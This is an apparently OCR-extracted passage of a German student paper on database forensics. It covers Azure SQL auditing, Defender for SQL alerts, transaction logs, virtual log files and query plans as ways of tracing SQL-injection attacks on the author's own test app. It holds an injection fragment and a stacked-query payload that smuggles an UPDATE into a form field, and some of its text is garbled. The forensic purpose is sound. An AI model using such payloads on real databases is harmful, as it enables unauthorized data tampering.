p.P_Pers_Nr = b.PF_Beschuldigter_NR; --



DblIForensikinDbs  Home Privacy

Forensik Vorgdnge

Gespeicherte Geratetyp:

P_Grt Typ NrF_Herst NrModell
1 Schulz

Als Workaround kann die vorherige Multiabfrage in ein Union-Statement
umgewandelt werden.

Forensische Aufarbeitung

Die Fluchtigkeit der sichergestellten Attribute, sowie ob sie resident sind oder nicht, kann
durch die Microsoft-Dokumentation nicht final nicht beurteilt werden. Es wird sich an den
Angaben aus dem Studienbrief orientiert. da von Seiten Microsoft i. d. R. keine Informationen
Uber die Speicherart vorliegen.

In MS Azure und SQL-Servern gibt es unzahlige Funktionen und Tools, mit denen Aktivitaten
Uberwacht sowie Logs erstellt und mit der hauseigenen Kusto-Abfragesprache ausgewertet
werden kénnen. Aufgrund des hohen Funktionsumfangs kann nachfolgend nur ein kurzer
Einblick gegeben werden.

Maoglichkeiten
Uberwachung in MS Azure (SQL Uberwachung, Defender for SQL, Log Analytics)
Eine erste Anlaufstelle sind die Aktivitatsprotokolle innerhalb von MS Azure:

jensten und Dokumenten suchen (G+/) B0 & ® 5 @ & 9vlod@goetheuni..

— i O Nach
= Microsoft Azure E £ Nacl WOLFGANG GOETHE U...
=] datenbanken (datenbanken/datenbanken) | Aktivitatsprotokoll = X
hen (STRG+ /' Aktivitat Spalten bearbeiten () Aktualisierer Diagnoseeinstellungen ¥ Als CSV heruntedaden 3 Pratokolle <7 Aktuelle Filter anheften & Filter zuriicksetzen
@ Obersicht
W Aktivitatsprotokoll @ Suchen Sie nach Log Analytics? In Log Analytics konnen Sie nach Leistungs-, Diagnose-, Integritatsprotokollen und mehr suchen.
ool S
Abonnement : Azure subscription 1 Ereignisschweregrad : Alle Zeitraum ; Letzte Woche )  Ressourcengruppe : itForensik X Ressource : datenbanken X
T Filter hinzufigen
Name des Vorgangs Status Zeit Zeitstempel  Abonnement Ereignis initiiert von

e Ergebnisse zur Anzeige vorhanden

Leider sind hier keine Protokolle abgelegt. Als nachstes wird unter ,Uberwachung“ nach
potenziell nutzlichen Konfigurationen gesucht:



= Microsoft Azure ® Upgmdel £ Nach Ressourcen, Diensten und Dokumenten suchen (G+

E datenbanken (datenbanken/datenbanken) | Uberwachung
& speiche Oberwachungsprotokolle anzeigen @ Feedback

(]

2l

@ Oberwachung auf Serverebene: Deaktiviert
Integrationen Azure SQL-Uberwachung

QL-0

Azure SQL-Uberwachung

Die Standardiberwachungseinstellungen umfassen die folgenden Aktionsgruppen, mit
denen alle fur die Datenbank ausgefuhrien Abfragen und gespeicherten Prozeduren
sowie erfolgreiche und fehlerhafte Anmeldungen Gberwacht werden:
BATCH_COMPLETED_GROUP

SUCCESSFUL_DATABASE_AUTHENTICATION_GROUP
FAILED_DATABASE_AUTHENTICATION_GROUP

Azure SQL—Uber\«-‘achung aktivieren Qf)m

Zu dieser Website existiert auch eine Hilfeseite von Microsoft: https://docs.microsoft.com/de-
de/azure/azure-sql/database/auditing-overview

Hier wird das Uberwachen von Azure SQL-Datenbanken und Azure Synapse Analytics wie
folgt beschrieben: ,Die Uberwachung von Azure SQL-Datenbank und Azure Synapse
Analytics verfolgt Datenbankereignisse und schreibt sie in ein Uberwachungsprotokoll in
Ihrem Azure Storage-Konto, Ilhrem Log Analytics-Arbeitsbereich oder in Event Hubs.*

Sie kdnnen die SQL-Datenbankiiberwachung fiir folgende Zwecke verwenden:

Beibehalten eines Uberwachungspfads von ausgewihlten Ereignissen. Sie kénnen Kategorien fiir
zu protokollierende Datenbankaktionen und -ereignisse konfigurieren.

Melden von Datenbankaktivitaten. Sie kénnen vorkonfigurierte Berichte und ein Dashboard
verwenden, um schnell mit der Berichterstattung tiber Aktivitdten und Ereignisse zu beginnen.
Analysieren von Berichten. Sie kénnen nach verdachtigen Ereignissen, ungewéhnliche

Aktivitdten und Trends suchen.

@ Wichtig

Die Uberwachung fiir Azure SQL-Datenbank, Azure Synapse und Azure SQL Managed Instance ist

fiir Verfiigbarkeit und Leistung optimiert. Bei sehr hoher Aktivitat oder hoher Netzwerkauslastung
erlauben Azure SQL-Datenbank, Azure Synapse und Azure SQL Managed Instance das Fortsetzen
von Vorgéngen, sodass einige tiberwachte Ereignisse moglicherweise nicht aufgezeichnet

werden.

Abbildung 12: Quelle: https://docs.microsoft.com/de-de/azure/azure-sql/database/auditing-overview

Es konnen auch Uberwachungsrichtlinien konfiguriert werden. Eine Anleitung ist in der zuvor
genannten Hilfeseite von Microsoft zu finden.

Exemplarisch wird nachfolgend eine SQL-Datenbankiiberwachung mit Log Analytics als Ziel
fur die Log-Dateien konfiguriert. Nachfolgend eine Anleitung zum Erstellen eines Log
Analytics Arbeitsplatzes: https://docs.microsoft.com/de-de/azure/azure-monitor/logs/quick-
create-workspace



https://docs.microsoft.com/de-de/azure/azure-sql/database/auditing-overview
https://docs.microsoft.com/de-de/azure/azure-sql/database/auditing-overview
https://docs.microsoft.com/de-de/azure/azure-sql/database/auditing-overview
https://docs.microsoft.com/de-de/azure/azure-monitor/logs/quick-create-workspace
https://docs.microsoft.com/de-de/azure/azure-monitor/logs/quick-create-workspace

= Microsoft Azure @ Upgrade P Search resources, services, and docs (G+/)

All services | All

All Log Analytics worksg] <
General
Compute #® Log Analytics workspaces Activity log
Networkin Dyaelydicsarery T Workspaces
9 = Jichn i 0 e
= Microsoft Azure ® Upgrade £ Search resources, services, and do

All services >

Create Log Analytics workspace

Basics Tags Review + Create

@ A Log Analytics workspace is the basic management unit of Azure Menitor Logs. There are specific considerations
you should take when creating a new Log Analytics workspace. Leam more

With Azure Monitor Logs you can easily store, retain, and query data collected from your monitored resources in Azure
and other environments for valuable insights. A Log Analytics workspace is the logical storage unit where your log data
is collected and stored

Project details

Select the subscription to manage deployed resourcas and costs. Use resourca groups like folders to organize and
manage all your resources.

Subscriptian * [ Azure subscription 1 v
Resource group * () [ itForensik ~]
Create new

Instance details

Name * O [Datenb bsanalytiqWorkspace -]

Region * @ [ Germany west central ~ |

B oAy Ldncel ] Reu

L meliesn

@ We'd love your feedback! —

Deployment IS In progress

N Deployment name: MicrosoftLogAnalyticsOMS Start time: 2/3/2022, 7:07:10 PM

s Subscription: Azure subscription 1 Correlation ID: 909dad18-3d33-455-920d-4d%c1c01219¢
Resource group: itForensik

~ Deployment details (Download)

Resource Type Status
S S S
All services >

@ Microsoft.LogAnalyticsOMS | Overview  #

Deployment
£ Search (Ctrl+ « i Delete (T Redeploy () Refresh
o SREREE @ We'd love your feedback! >
& Inputs
%= Outputs @ Your deployment is complete
\
= Template o) Deployment name: MicrosoftLogAnalyticsOMS Start time: 2/3/2022, T:07:10 PM
= Subscription: Azure subscription 1 Correlation ID: 909dad18-3d33-455e-920d-4d9¢1¢01219¢

Resource group: itForensik

~ Deployment details (Download)

A Next steps

Go to resource

Im Anschluss kann die SQL-Uberwachung aktiviert werden. Es kénnen bspw. auch
Vorgange von Microsoft-Supporttechnikern Giberwacht werden:



datenbanken | Auditing

"= 0L server
|}3 Search (Ctrl+/) | « Save X Discard W Feedback
& overview Azure SQL Auditing
E Activity log Azure SQL Auditing tracks database events and

writes them to an audit log in your Azure
Storage account, Log Analytics workspace or
Event Hub. Learn more about Azure SQL

® Tags Auditing &

Ao Access control (IAM)

£ Diagnose and solve problems
Enable Azure SQL Auditing O m

3 Quick start Audit log destination (choose at least one):

Settings \:| Storage

@ Azure Active Directory Log Analytics

i *
SQL databases Subscription

| Azure subscription 1 s |

-]
® sqL elastic pools
Log Analytics *

- DTU ta
& quo | DatenbankenlIForensikinDbsAnalyticsWorkspace(germanywe... |

Properties

' \:| Event Hub
B Locks
Auditing of Microsoft support
Data management operations
& Backups Auditing of Microsoft support operations tracks

Micrasoft support engineers' (Devops)
operations on your server and writes them to an

. Use different audit log destinations (@O (
[1 Auditing

@ Firewalls and virtual networks

o Turn on Microscft Defender for SOL to
receive security alerts upon suspicious
events.

¢l; Private endpoint connections

O Microsoft Defender for Cloud

[ O S S P

W Deleted databases . .
audit log in your Azure Storage account, Log
@ Failover groups Analytics \*\fo_rkspace or Event Hub. Learn more
about Auditing of Microsoft support operations
23 Import/Export history &)
Security Enable Auditing of Microsoft support operations (O @

L e Pt

Home » datenbanken

datenbanken | Auditin:
L Jron Auiting

Search (Ctrl+/) « [ save W reedback

Azure SQL Auditing

@ ngs

&* Diagnose and soive problems

Enable dzure SOL Auditing (2 -
Qe Aucit log destination (choose at least one):
Settings [ storsge
s Azure Active Directory
@ 50 databases ription
aure subscription 1 —
& 50U elastic pools
S oTU quots -
DatenbankenliForensionDbsAnalylics Nokspaceigemanywe_
Il eroperties
" [ Event Hue
B Leds
Auditing of Microsoft support
Data management operations
& ssciups
W oeleted

T3 Import/Export history

security Enabie Auditing of Microsoft s parstions @ .

#erent audt log destinations
T Use different audit log destinatior

© Firewalls and virtual networks
1, private endpoint connections
© Microsaft Defender for Cloud

© Transparent dsta encryption

© Successtully saved sorver Auditing settings XX

saved Auditing settings for sarver.
Gatentanken.
View dashboard in Log Analytics workspace summary

In der kostenlosen Version kénnen mit aktivierter SQL Uberwachung und Log Analytics nur

wenige Protokolle/Logs abgerufen werden, u. a.:



.m DatenbankenlIForensikinDbsAnalyticsWorkspace | Protokolle = X

®® Log Analytics-Arbeitsbereich

[ suchen (STRG+/) | «

Q Abfragen immer anzeigen @ ‘ [y B

'l Computergruppen Abfragen

£ Datenexport Abfragepakete: 0 ausgewahlt

= Verknupfte Speicherkonten

Kategorie ~ |f’ Suchen (& Filter hi... )
> Netzwerkisolation

DATABASES.

Allgemein % Favoriten
= Zusammenfassung des Alle Abfragen Avg CPU usage
Arbeitsbereichs

Avg CPU usage in the last hour by resource
Applications name.
@ Arbeitsmappen PP

1@ Protokolle Audit

i Ausfiihren
& Projektmappen Azure Monitor

@ Nutzung und geschatzte Azure Resources

Kosten . .
Containers Performance troubleshooting

:I Eigenschaften Potentially query or deadlock on the system
) . that could lead to poor performance.
®> Service Map
Desktop Analytics

Arbeitsbereichsdatenquellen IT & Management ...
Ausflihren
K3 Virtuelle Computer Network

E Speicherkontoprotokolle Security

Loading Data
¥ System Center i
4 Virtual Machines Monitor data loading in the last hour.
B Azure-Aktivitatsprotokoll Windows Virtual D...
)

Bereichskonfigurationen
Mlarerkain -

In der kostenpflichtigen Version ist der Funktionsumfang deutlich gré3er. Hier kbnnen bspw.
alle verbundenen IP-Adressen ermittelt werden. In unserem Fall misste die IP-Adresse des
Clients von der Applikation geloggt werden, da stets nur die Applikation der Datenbank
kommuniziert und niemals die Clients direkt mit der Datenbank.

Uber die Infomeldung zum Microsoft Defender for SQL gelangt man zu der relevanten
Konfigurationsseite. ,Microsoft Defender fur SQL ist ein einheitliches Paket, das erweiterte
SQL-Sicherheitsfunktionen bereitstellt. Es erkennt und entschérft potenzielle
Sicherheitsrisiken fir Datenbanken und ermittelt anomale Aktivitaten, die auf eine Bedrohung
fur Ihre Datenbank hinweisen kdnnten. Microsoft Defender fir SQL wird gemaf den
Informationen in der Preisdetails pro Region abgerechnet‘ (Quelle: MS Azur. Diese
Einstellung wurde zusatzlich zur SQL-Uberwachung aktiviert: https://docs.microsoft.com/en-
us/azure/azure-sql/database/threat-detection-configure, https://docs.microsoft.com/en-
us/azure/azure-sql/database/azure-defender-for-sql,
https://www.youtube.com/watch?v=svEDoXkP Vo

= Microsoft Azure £ Sesrch resources, senvices, and docs (6+)

datenbanken

Server settings

B save /7 Feedback

MICROSOFT DEFENDER FOR 5QL

tendar for S costs 15 USD/server/mantn, It includes Vulnerabiity
‘a0l Advanced Threat Protaction. Wa Invite you 1. sl pavicd for tha

Advanced Threat Protection for SOL alerts smails ars sent by Defender for Cloud.
add s 10 the s i sett nder for Cloud. @
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Um nun den Bedrohungsschutz nutzen zu kénnen,

aktiviert werden:

Security Center detected virtual machines
without the data collection agent installed!

Protect your virtual machines now by installing the Security Center data collection

agent on each VM. To receive security alerts and recommendations, the agent must be

installed

Learn more >

Install agents automatically

The Log Analytics agent will be automatically installed on all the virtual machines in selected subscription.

~  Select subscriptions on which agents will be installed 0 Managed resources

Name

Azure subscription 1

Install age Remind me later

If a VM already has either SCOM or OMS agent installed locally, the Log Analytics agent will still be installed

and connected to the configured workspace

Unprotected Re...

o

muissen Agenten zum Daten sammeln

Continue without installing agents
Many important security features wor't work if
you don't install agents.

Continue without installing agents

Nach der Installation der Agents kann das Security Center verwendet werden:

Home > datenbanken > datenbanken (datenbanken,/datenbanke

0 Microsoft Defender for Cloud | Overview

W Subscriptions (' What's new
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Azure subscriptions Assessed resources

o Secure score
¥ inventory

Unhealthy resaurces

0 o rarcen these
reccmmanditian

/* Diagnose and solve problems
Current secure score
Cloud security

O sequ

compliznce
Kload protections

%, Firewall Manager

Management

J Workload protections

Your are not protected by Azure Defender

jour subscriptions for 2 unifie

Enable Azure Defender

4 Inventory

Unmanitored Vis

B0 1 v re monore

Total Resources

0

nd improve your score, follow the

=0

Active recommendations
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Regulatory compliance
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Allerdings scheint es bei Microsoft technische Probleme zu geben. Trotz aktivierten

@ Uberwachung auf Serverebene: Aktiviert

Einstellungen ( A24" SQL-Uberwachung ’

MICROSOFT DEFENDER FOR SQL
&E® s )

Die Kosten fir Microsoft Defender fiir SOL belaufen sich auf 15 USD/Server/Monat
u Darin enthalten sind Sicherheitsrisikobewertung und Advanced Threat Protection. Wir
laden Sie zu einer 30-tagigen kostenlosen Testversion ein.

) stehen die Funktionen zur Bedrohungserkennung
(Threat Detection) nicht zu Verfiigung. Bei der Bedrohungserkennung wird auch SQL
Injection bertcksichtigt, wie auf nachfolgendem Screenshot aus einem MS Azure Tutorial
aus Dezember 2020 zu sehen ist:

Threat detection types

Abbildung 13: Quelle: https://www.youtube.com/watch?v=svEDoXkP_Vo

Es wurden testweise nahezu alle SQL-Injection-Statements in dieser APL ausgefiihrt. Keines
der Statements hat eine Sicherheitswarnung in MS Azure ausgelost.

Komisch ist, dass trotz aktivierter Testversion noch folgende Warnmeldung erscheint und
man sein Abo auf ein kostenpflichtiges Abo ,Upgraden” soll. Um versteckte Kosten zu
vermeiden, wurde an dieser Stelle abgebrochen.


https://www.youtube.com/watch?v=svEDoXkP_Vo

Home > Microsoft Defender fur die Cloud » Sicherheitswarmnungen >

Erste Schritte

Verwaltung des Cloudsicherheitsstatus
Erhalten Sie eine kontinuierlichen Bewertung und
priorisierte Sicherheitsempfehlungen mit der

Micros ewertung, und Oberprifen Sie
die Einhaltung gesetzlicher Standards.

Sicherhei

Name T4 Ressourcen gesamt
Azure subscription 1 1
D =p datenbankeniiforen... 0 Aus

rwaltung und adaptive Anwendungssteuerung zu erhalten.

Aktivieren von Defender fur Cloud auf 1 Abonnements

Microsoft Defender-P...

flir Ihre Abonnements.

Cloudworkloadschutz fiir Computer
Harten Sie Workloads, die in Azure-, Hybrid- und

ﬂl Multi-Cloud-Umgebungen ausgefihrt werden. Zu

a den Schutzfunktionen gehoren Server-EDR
(Endpunkterkennung und -reaktion), Uberprifung
auf Sicherheitsrisiken, Workloadhartung und vieles
mehr,
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n 0 server

Aus (30 Tage der Testversi...
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ls 0 App Service-Instanzen

ﬁ, 1 Azure SQL-Datenbanken

m 0 saL server-Instanzen auf
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—
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ﬁ 0 container O
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Erste Schritte mit einer kostenlosen 30-tdgigen Testversion

Fuhren Sie ein Upgrade durch, um erweiterte Funktionen wie Hybridunterstiitzung, Network

=

erden fur unterstitzte
och nicht vor

werden stundenw

e Infor

Aktivieren Sie die erweiterten Sicherheitsfeatures von Microsoft Defender fiir Cloud

ng, Sicherheitsrichtlinien,

mationen >

Advanced Threat Protection fiir PaaS

Verhindern Sie Bedrohungen, und erkennen Sie

ungewshnliche Aktivitaten fur Paas-Workloads,
cinschlieBlich App Service-Plane,

und SQL Server-Instanzen.

orage-Kenten

15 USD Server/Monat

15 USD

15 USD Server/Monat

15 USD
0,015 UsD

15 USD

40,02 10.000 Transaktionen
7% VM-Kern/

$0,02

Update: Nachdem nun 3 Wochen vergangen sind, in denen die SQL-Uberwachung nicht
funktionierte, hat am 17.02.2022 Microsoft wohl seine Probleme behoben. Es werden nun
auch Warnungen potenzieller SQL-Injection-Angriffe gezeigt (inkl. IP-Adresse, SQL-
Statement und Handlungsvorschlagen). Leider ist die Hausarbeit schon vor der
Fehlerbehebung finalisiert worden, sodass die Hausarbeit nicht nochmal miihsam

Uberarbeitet wurde.

Security alerts

L= ‘ ' =
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Security alert =

@ Potential SQL Injection

High Actve 0216722,

Security alert # -

U Potential SQL Injection

High Active 02/16/22,
Severity Satus Actity time

Alert deseription I copy alert Json

Solving security recommendstions can prevent future attacks by reducing attack surface.

A &) Trigger automated response

Trigger logic app as an autemated respanse to this security alert. You can get suggested responses in the ASC Community Gittub Rep

Trigger logic app

Event Logs und Aktivitatsprotokolle

Auch Logdateien von der MSSQL-Datenbank und den hier durchgefiihrten Aktivitaten zu
erhalten, gestaltet sich Uber MS Azure schwierig. Gem. folgendem Stackoverflow-
Kommentar missen Logs explizit bei Microsoft angefragt werden:
https://stackoverflow.com/questions/41290633/logs-on-azure-sqgl-database

Auf die Relation sys.event_logs kann ohne Weiteres nicht zugegriffen werden:
https://docs.microsoft.com/en-us/sgl/relational-databases/system-catalog-views/sys-event-
log-azure-sql-database?view=azuresqgldb-current

i1

11 FELECT * FROM sys.event_log

Ergebnisse  Nachrichten

Failed to execute query. Error: Invalid cbject name 'sys.event log'.

Weiterfihrende Infos zum Thema Logs in MS Azure: https://docs.microsoft.com/en-
us/troubleshoot/azure/general/sgl-vm-logs

Auch die in dem Post genannten Aktivitatsprotokolle haben keinerlei Informationen tber die
abgeschickten Statements oder potenzielle SQL-Injection-Attacken gegeben. Einzig
Anderungen an der Datenbank werden protokolliert, allerdings ohne nennenswerte
Zusatzinfos.
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= I Uy Nach Ressourcen, Diensten und Dokumenten suchen (G+/) L 5 G Br g
Microsoft Azure B ) 3@ B FEeloeis

datenbanken (datenbanken/datenbanker

=] datenbanken (datenbanken/datenbanken) | Aktivititsprotokoll = - >

elle Filter anheften W& Filter zuricksetzen

n %3 Diagnosesinstellungen L Als CSV her & Protokelle

@ Ubersicht Erfolgreich

B Akivitatsprotokoll Erfolgreich  vor 2 Tage

& T > @ Register with the Provider Erfolgreich vor2Tagen  Wed Feb 02.. Azure 9bv_xSif0d@goetheuniver...

2 Diagnose und > @ SQL-Datenbank aktualisieren Erfolgreich  vor 2 Wochen Mon Jan 24 ... 9bv_xSif0d@goetheuniver...
Prablembehandiung > @ Firewaliregeln fir SQL Server aktualisieren Erfolgreich  vor 2 Wochen Man Jan 24

& Schnelistart » @ Firewallregeln fur SQL Server aktualisieren Erfolgreich n Mon Jan 24 R

W Afage:Edtor (Vorschau) > @ SQL-Datenbank 2l Erfolgreich n Mon Jan 24

Power Platform > @ SQL Server aktualisieren Erfolgreich  vor 2 Wochen Mon Jan 24 .. Azure

Als letzte Moglichkeit wurde versucht eine Supportanfrage bei Microsoft zu 6ffnen (,Erstellt
MS Azure Logs in denen bspw. alle auf einer konkreten Datenbank ausgefiihrten SQL-
Befehle abgelegt werden?*). Leider kostet das Absenden von Supportanfragen 29 Dollar im
Monat. Um nicht in eine Kostenfalle zu laufen, wurde auch hier auf das Einleiten weiterer
Schritte verzichtet (fir Community-Meinung vgl. vorheriger Link auf Stackoverflow).

= Microsoft Azure 2 Nach Ressourcen, Diensten und Dokumenten suchen (G+/) E & 9bv_x9lf0d@goetheuniv...

JOHANN WOLFGANG GOETHE U...

Home > DatenbankenllForensikinDbsAnalyticsWorkspace > Hilfe und Support >

Neue Supportanfrage x

1. Problembeschreibung 2. Empfohlene Lasung 3. Zusétzliche Details

Mit Ihrem Basic-Supportplan kénnen Sie Supportanforderungen in Bezug auf Abrechnung, Abonnementverwaltung und Kontingenterhohung erstellen.

Fahren Sie zum Anfordern von technischem Support ein Upgrade auf einen kostenpflichtigen Supportplan durch, oder erkunden Sie unsere kostenlosen Ressourcen.

) Expertenhilfe erhalten ,ﬁ Frage an die Community

A8 apogusp pro Monat bieten unsere Greifen Sie auf eine groRe Community von
Supportplane direkten Zugang zu technischem Experten und Microsoft-Technikern zu, die lhnen
Support durch Experten. helfen kdnnen.

Azure-Community-Support anzeigen o'

Zusdtzliche Ressourcen

Azure-Dokumentation o'
Tweet @AzureSupport &
Dienstintegritat

Es kdnnen auch Sitzungs-Events selbst angelegt werden, welche dann bspw. zur
Uberwachung der Aktivitaten konfiguriert werden kénnen. Bspw. kdnnen mit folgendem
Statement samtliche Transaktionen (Commit, Rollback) getrackt werden:

0l
Z
z
W

RE

(trangaction_state =1 OR transacti
sglserver.database_name = "Rdventu
)]

ADD TRRGET package(.ring buffer;

GO

Abbildung 14: Quelle: https://lwww.sqglshack.com/modes-of-transactions-in-sql-server/,
https://docs.microsoft.com/en-us/sql/t-sgl/statements/create-event-session-transact-sql?view=sql-server-verl5

Transaktions-Logs

Da samtliche Versuche tUber MS Azure-Funktionalitéaten fehlschlugen, wurde beim SQL-
Server nach moglichen Logs gesucht. SQL-Server besitzen ein Datenbank-Transaktions-
Log: https://docs.microsoft.com/en-us/sqgl/relational-databases/logs/the-transaction-log-sql-
server?view=sql-server-verls

Das Transaktions-Log ist in jedem SQL-Server enthalten und beinhaltet alle auf der
jeweiligen Datenbank durchgefiihrten Transaktionen und Modifikationen. Es ist per Default
aktiviert und kann nicht deaktiviert werden. Mit diesem Log kann die Datenbank im Fehlerfall
auch wieder in einen konsistenten Zustand gebracht werden. Das Transaktion-Log kann also

90
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zur Aktivitatsrekonstruktion und Datenwiederbeschaffung genutzt werden. Transaktions-Logs
wenden dabei das Prinzip des ,Write Ahead Loggings“ an. Dabei werden erst alle durch ein
aufkommendes Event ausgelésten Anderungen geloggt und anschlieRend ausgefiihrt
(Quelle: https://www.sglshack.com/what-is-sgl-server-virtual-log-file-and-how-to-monitor-it/).

Das Transaktionsprotokoll wird auf jeden Fall bei Anderungen an der Datenbank gefiillt
(bspw. Insert, Update, Delete-Statements). Aber auch SELECT-Statements kénnen geloggt
werden, wenn der WHERE-Ausdruck das Datenbanksystem dazu bringt eine temporare
Tabelle anzulegen, um dort die Zwischenergebnisse zu sortieren oder fur die weitere
Verarbeitung zwischenzuspeichern, bevor sie an den Aufrufer zurtickgegeben werden. Das
fuhrt dann im Transaktions-Log zu mehreren Eintrdgen tber das Anlegen der Tabelle und
das Laden der Zwischenergebnisse.

Das Ausfiihren von folgendem SQL Injection Update-Statement...

q C 0O © localhost

DbllForensikinDbs  Home Privacy

Forensik Vorgange

Gespeicherte Geratetypen

"AND 1 = 0; UPDATE T_Personen SET VName = 'unbekannt’' WHERE VName = 'John’; —4

P_Grt_Typ_NrF_Herst_NrModell

... resultiert in folgenden Log-Eintrag (SQL-Multiabfragen werden einzeln abgespeichert) ...

Current LSN Transaction ID Operation Transaction Name CONTEXT

00000034:00000810:0001 0000:00000000 LOP_MODIFY_ROW LCX_BOOQT_PAGE

Zur Suche nach ausgefiihrten Data Manipulation Language-Befehlen kann folgendes
Statement verwendet werden:
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USE datenbanken
GO

SELECT
[Current LSN],
[Transaction ID],
[Operation],
[Transaction Name],
[ CONTEXT],
[AllocUnitName],
[Page ID],
[Slot ID],
[Begin Time],
[End Time],
[Number of Locks],
[Lock Information]
FROM sys.fn_dblog(NULL,NULL)
WHERE Operation IN
('LOP_INSERT_ROWS','LOP_MODIFY_ROW',
"LOP_DELETE_ROWS','LOP_BEGIN_XACT','LOP_COMMIT XACT');

Abbildung 15: Quelle: https://www.mssqltips.com/sglservertip/3076/how-to-read-the-sql-server-database-
transaction-log/

Dabei kdnnen mit der Funktion fn_dblog Transaktions-Log-Eintradge ausgegeben werden. lhr
kann die Start sowie End LSN Ubergeben werden: https://logicalread.com/sgl-server-dbcc-
log-command-tl01/

Mit folgendem Statement kénnen Infos zu den Transaktion Log-Files eingesehen werden:

i id file quid type type desc data space id name physical name state state desc size

BITfafB-daT0-4d38-a602-550... 1 ' 0 log b325328-6314-4416-Bebg139.. C ONLINE 1024

Abbildung 16: Quelle: https://docs.microsoft.com/en-us/sql/relational-databases/system-catalog-views/sys-
database-files-transact-sql?view=sql-server-verl5

Mit dem SQL Server DBCC LOGINFO-Befehl konnen weitere Infos zu den Transaktion-Logs
gesammelt werden, die noch in Virtual Log Files unterteilt sind (siehe nachfolgendes
Kapitel).

38 DBCC SQLPERF(logspace);

2

Results  Messages

2 search to filter items.

Database Name Log Size (MB) Log Space Used (%) Status
master 2.242188 29.09408

tempdb 1599219 19.26981

model 7.992188 15.7869

0
0
0
msdb 1.242188 4968554 0
datenbanken 7.992188 27.76149 0

0

master 7.992188 8.260019

Weiterfihrende Informationen zum Transaktions-Log sind hier zu finden:
https://www.sqlshack.com/reading-sql-server-transaction-log/,
https://www.mssqltips.com/sqglservertip/3076/how-to-read-the-sql-server-database-
transaction-log/

Handbuch zur Architektur und Verwaltung von Transaktionsprotokollen in SQL Server:
https://docs.microsoft.com/de-de/sal/relational-databases/sqgl-server-transaction-log-
architecture-and-management-guide?view=sql-server-verl5
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Eine Anleitung zum Wiederherstellen geldschter Relationen oder Tupel anhand der Attribute
LSN und Tranaction ID ist hier zu finden: https://www.stellarinfo.com/blog/recover-deleted-
records-in-sqgl-server/

Die LSN (Long Sequence Number) identifiziert eindeutig einen Eintrag im Transaction-Log.
Neue LSN sind immer hoher als éltere.

Quelle: https://theknowledgeburrow.com/how-do-i-find-the-Isn-number-in-sql-server/

Virtual Log Files (VLF)

Auch der Zugriff auf Virtual Log Files (VLF) ist problemlos moglich. Sie liegen in fliichtiger
und residenter Form vor. SQL-Server verwalten ihre Log-Dateien in kleinen
Stucken/Einheiten, den sogenannten Virtual Log Files. Sie beinhalten die aktuellen Log-
Eintrage der ausgefiihrten Statements. Das Transaktions-Log besteht also aus vielen kleinen
Virtual Log Files. Mit nachfolgendem Statement kénnen die aktiven sowie inaktiven Virtual
Log Files der in einem DBMS hinterlegten Datenbanken analysiert werden (Quellen:
https://www.sglshack.com/what-is-sql-server-virtual-log-file-and-how-to-monitor-it/,
https://blog.sglauthority.com/2020/03/12/sqgl-server-query-to-list-active-and-inactive-vif/):

SELECT [name] AS 'Databass Mame',
I COUNT(1li.database_id) AS 'VLF Count',
H SUM(1i.v1lf_size mb) AS "VLF Size (MB)',
i SUM(CAST(li.vlf_active AS INT)) AS 'Active VLF',
T SUM(1i.v1f_active*li.vlf_size_mb) AS 'Active VLF Size (MB)',
COUNT(1li.database_id)-SUM(CAST(1i.v1f_active AS INT)) AS 'Inactive VLF',
3 SUM(1i.v1f_size mb)-SUM{1i.v1f_active*li.vlf_size_mb) AS 'Inactive VLF Size (MB)'
FROM sys.databases s
CROSS APPLY sys.dm db_log_info(s.database_id) 1i
GROUP BY [name]
ORDER BY COUNT(li.database_id) DESC;

lesults  Messages

2 search to filter items...

Database Name VLF Count VLF Size (MB) Active VLF Active VLF Size (MB) Inactive VLF Inactive VLF Size (MB)
master 9 2.24 1 0.25 8 199
datenbanken 4 7.96 4 796 0 0

Abbildung 17: Quelle: https://blog.sqlauthority.com/2020/03/12/sql-server-query-to-list-active-and-inactive-vlf/

Die Datenbank ,datenbanken® besitzt 4 VLFs und die Datenbank-ID == 5. Als Daumenregel
gilt, dass 10 GB eines Logfiles aus max. 50 VLFs bestehen. Die Datenbank-ID, die Collation
Settings sowie der Server State kann mit folgendem Statement ermittelt werden:

SELECT * FROM sys.databases

Alternativ kdnnen VLF-Informationen auch tber den DBCC LOGINFO-Befehl abgerufen
werden, der allerdings nicht in der vorliegenden SQL-Server-Version verfligbar ist.

Abfragepléane

Auch die Abfrageplane und Datenpuffer sind einsehbar. Abfrageplane sind eine vom
Datenbanksystem generierte Liste mit den effizientesten Schritten zur Abarbeitung der
Abfrage. Mit ihnen weill man stets, welche Statements (inkl. schadlichen SQL-Injection-
Abfragen) ausgefuhrt wurden. Der Abfrageplan ist per Default aktiviert und kann nicht
deaktiviert werden. Ein Indikator fur blinde SQL-Injection-Attacken sind unzahlige
Abfrageplane in einer kurzen Zeit, da hier i. d. R. viele Abfragen nacheinander ausgefuhrt
werden. Aul3erdem kdnnen Vergleichsoperationen wie bspw. 1=1 auf einen SQL-Injection-
Angriff hinweisen. Zur zielgerichteten Verwendung von den hier enthaltenen Informationen
bedarf es einer weiteren Analyse: https://docs.microsoft.com/en-us/sql/relational-
databases/performance/execution-plans?view=sql-server-verl5,
https://docs.microsoft.com/en-us/sqgl/relational-databases/query-processing-architecture-
guide?view=sql-server-verl5#execution-plan-caching-and-reuse



https://www.stellarinfo.com/blog/recover-deleted-records-in-sql-server/
https://www.stellarinfo.com/blog/recover-deleted-records-in-sql-server/
https://theknowledgeburrow.com/how-do-i-find-the-lsn-number-in-sql-server/
https://www.sqlshack.com/what-is-sql-server-virtual-log-file-and-how-to-monitor-it/
https://blog.sqlauthority.com/2020/03/12/sql-server-query-to-list-active-and-inactive-vlf/
https://blog.sqlauthority.com/2020/03/12/sql-server-query-to-list-active-and-inactive-vlf/
https://docs.microsoft.com/en-us/sql/relational-databases/performance/execution-plans?view=sql-server-ver15
https://docs.microsoft.com/en-us/sql/relational-databases/performance/execution-plans?view=sql-server-ver15
https://docs.microsoft.com/en-us/sql/relational-databases/query-processing-architecture-guide?view=sql-server-ver15#execution-plan-caching-and-reuse
https://docs.microsoft.com/en-us/sql/relational-databases/query-processing-architecture-guide?view=sql-server-ver15#execution-plan-caching-and-reuse

@ Note

SQL Server Management Studio has three options to display execution plans:

= The Estimated Execution Plan, which is the compiled plan, as produced by the Query Optimizer.

» The Actual Execution Plan, which is the same as the compiled plan plus its execution context. This includes
runtime information available after the execution completes, such as execution warnings, or in newer versions
of the Database Engine, the elapsed and CPU time used during execution.

The Live Query Statistics, which is the same as the compiled plan plus its execution context. This includes
